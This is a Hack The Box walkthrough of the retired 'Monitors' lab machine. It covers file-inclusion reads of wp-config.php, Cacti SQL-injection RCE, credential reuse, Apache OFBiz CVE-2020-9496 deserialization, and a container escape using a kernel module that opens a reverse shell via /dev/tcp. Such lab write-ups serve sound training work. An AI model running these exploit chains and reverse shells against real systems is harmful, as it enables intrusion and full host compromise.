HTB Write-up | Monitors

HTB Write-up | Monitors
Retired machine can be found here.


Let's start the same as always, with a basic nmap scan:

~ nmap -sC -sV -A

Starting Nmap 7.91 ( ) at 2021-05-01 11:15 WEST
Nmap scan report for
Host is up (0.32s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There's an Apache web server running on port 80 but we can't access it with the IP alone:

Luckily the virtual host is pretty obvious:

~ sudo nano /etc/hosts

...    monitors.htb

According to the footer the website was built using Wordpress, so let's run wpscan:

The tool found that this instance was using the WP with Spritz plugin, more specifically version 1.0, which is vulnerable to unauthenticated RFI.

As shown on this ExploitDB POC, all we need to do to is call a particular path inside the plugin directory - wp.spritz.content.filter.php - with a specific parameter - url - and we can see the content of any accessible file in the system, e.g.:

Enumerating with LFI

marcus looks like the most interesting user, and it seems like we're able to access their home directory, but we can't read user.txt.

Let's try to read the Wordpress configuration file:

~ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url\=../../../wp-config.php

So, we have the db name, user and password (which might be re-used somewhere else):

DB_NAME: 'wordpress'
DB_USER: 'wpadmin'
DB_PASSWORD: 'BestAdministrator@2020!'

Unfortunately, we don't have permissions to access the database locally and can't access the service from a remote machine. So, let's try some more enumeration using a handy list:

import os

baseurl = 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url\=/'

entries = open('lfi_payloads.txt', 'r').read().split('\n')

for entry in entries:
	print('Trying ' + entry)
	os.system('curl ' + baseurl + entry + ' -O')

After some trial and error we finally get something interesting on etc/apache2/sites-enabled/000-default.conf:

Exploring cacti-admin

Let's configure our new virtual host and access the website:

~ sudo nano /etc/hosts

...    cacti-admin.monitors.htb

Luckily we can use the credentials we found on the last step and get in: admin/BestAdministrator@2020!

Going through the source code, we see that this application is using Cacti version 1.2.12, which has a lot of known vulnerabilities including an RCE via SQL Injection.

And better yet, there's a working payload on ExploitDB:

~ python -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost --lport 4444
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:105acde9cf997ef401f3eaaf5a884e62c9776fa1,1620939044
[+] Trying to log in...
[+] Successfully logged in!

[+] SQL Injection:

[+] Check your nc listener!

And we have a shell!

$ whoami

Let's upgrade it to an interactive shell:

~ python3 -c 'import pty; pty.spawn("/bin/bash")'

Getting user

www-data@monitors:/home/marcus$ su marcus
Password: BestAdministrator@2020!

After failing to get anything interesting on the user's home directory, I tried to find all files with string "marcus":

$ grep "marcus" /etc -R 2>/dev/null

/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash

The cacti-backup service looks interesting:

$ cat /etc/systemd/system/cacti-backup.service
Description=Cacti Backup Service



Let's see if we can read the script that's being called:

$ cat /home/marcus/.backup/



zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name}${backup_name}.zip
rm /tmp/${backup_name}.zip

That's an interesting password 😉

$ su marcus
su marcus
Password: VerticalEdge2020

marcus@monitors:/usr/share/cacti/cacti$ cat /home/marcus/user.txt
cat /home/marcus/user.txt

And now we're able to access via SSH, which is a lot easier:

~ ssh marcus@monitors.htb
marcus@monitors.htb's password:
> VerticalEdge2020



Red Herring

It seems like marcus left a note in their home directory:

marcus@monitors:~$ cat note.txt


Disable phpinfo	in php.ini		- DONE
Update docker image for production use	-

Since the Docker image might be deprecated, let's filter out all of the processes running on the machine that are Docker-related:

$ ps aux | grep docker

root       1527  0.0  2.0 1196956 82704 ?       Ssl  11:42   0:04 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

root       2006  0.1  0.2 628508  8864 ?        Sl   11:42   0:15 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 8443 -container-ip -container-port 8443

root       2039  0.0  0.1 108820  5768 ?        Sl   11:42   0:01 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/a2e16ca5647428c5f43ce47fd08272fd8738ed80d3db0e6cf4bcb15370bbf184 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc

Note that all of these are ran by root, and the docker group doesn't contain any user, which means we can't use most of the known privesc Docker vectors:

$ cat /etc/group | grep docker
$ cat /etc/passwd | grep 999

Let's see what else we can find about this instance of Docker with deepce:

There doesn't seem to be a known vulnerability for the current Docker version, so we need to go another route.

Apache OFBiz

We know that docker-proxy is mapping the host TCP port 8443 to the container's ( TCP port 8443:

So we can SSH tunnel to see what's running on the container:

~ ssh -L 8443:localhost:8443 marcus@monitors.htb  -fNT 
marcus@monitors.htb's password: 
> VerticalEdge2020

~ ps aux | grep 8443
inesmartins      38886   0.0  0.0  4331440    648   ??  Ss   12:35PM   0:00.00 ssh -L 8443:localhost:8443 marcus@monitors.htb -fNT

When we access this address on our local browser we can see this page:

A quick scan of the port tells us that the SSL certificate was emitted for, which points to an Apache OFBiz applications.

~ nmap -sC -sV -A localhost -p 8443


8443/tcp open  ssl/http Apache Tomcat 9.0.31
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
| ssl-cert: Subject: Software Fundation/stateOrProvinceName=DE/countryName=US
Apache OFBiz is a suite of business applications flexible enough to be used across any industry. A common architecture allows developers to easily extend or enhance it to create custom features.

This framework has some serious vulnerabilities, one of them being CVE-2020-9496 which enables unauthenticated RCE:

OfBiz exposes an XMLRPC endpoint at /webtools/control/xmlrpc. This is an unauthenticated endpoint since authentication is applied on a per-service basis. However, the XMLRPC request is processed before authentication. As part of this processing, any serialized arguments for the remote invocation are deserialized, therefore if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands on any OfBiz server with same privileges as the servlet container running OfBiz.

I found a really great POC on Github and gave it a shot:

~ git clone
~ cd CVE-2020-9496
~ wget -O ysoserial.jar
~ brew install --cask adoptopenjdk8brew tap adoptopenjdk/openjdk
~ brew tap adoptopenjdk/openjdk
~ java -version
~ export JAVA_HOME=`/usr/libexec/java_home -v 1.8.0_292`

I setup a local server:

~ python3 -m http.server 9000
Serving HTTP on port 9000 ( ...

... and sent a curl command to see if the container would connect to it:

~ python3 --target https://localhost:8443
cmd> curl
[!] Send payload ...
[+] Done!

I got a connection from which is the host machine's IP, so I knew this was working: - - [29/Sep/2021 21:37:38] "GET / HTTP/1.1" 200 -

With RCE on the container, I decided to make enumeration a little easier and faster with a Python script:

After using this script with some LFI Seclists, I couldn't find any relevant files or hints, so I started thinking that this was a straightforward container escape.

I was also getting a little frustrated with not having a shell into the machine, so I decided to abandon my script and give Metasploit a try.

After some tweaking, I finally got it:

The final step

This was definitely the hardest part. I knew I had to escape from the container, and tried a lot of known exploits without any luck.

Finally, after a loooong and frustrating process I found this article from 2020: "Privileged Container Escapes with Kernel Modules":

It turns out that privileged containers (or just those with CAP_SYS_MODULE) are able to use the sys_init_module() and sys_finit_module() syscalls - which are what’s used to load kernel modules.
As all containers share their kernel with the host (unlike VMs), this clearly results in yet another complete system compromise.

This led me to find this POC:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_DESCRIPTION("LKM reverse shell module");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/ 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/8/", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
obj-m +=reverse-shell.o
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Note how the reverse shell is targeted at the host machine, on port 4444, so we need to setup that listener:

marcus@monitors:~$ nc -nvlp 4444

On our machine, let's serve these files so that the container can fetch them using wget:

~ python3 -m http.server 9000
Serving HTTP on port 9000 ( ...

Now, on the Metasploit shell, let's fetch the reverse-shell.c and Makefile, build the payload and trigger it:

> sessions -i 1
[*] Starting interaction with 1...

python -c 'import pty; pty.spawn("/bin/bash")'

root@79931c1ed9a2:/usr/src/apache-ofbiz-17.12.01# whoami

root@79931c1ed9a2:/usr/src/apache-ofbiz-17.12.01# cd /

root@79931c1ed9a2:/# wget
root@79931c1ed9a2:/# wget
root@79931c1ed9a2:/# export PATH=/usr/lib/gcc/x86_64-linux-gnu/8/:$PATH
root@79931c1ed9a2:/# make clean
root@79931c1ed9a2:/# make
root@79931c1ed9a2:/# insmod reverse-shell.ko

And that's it!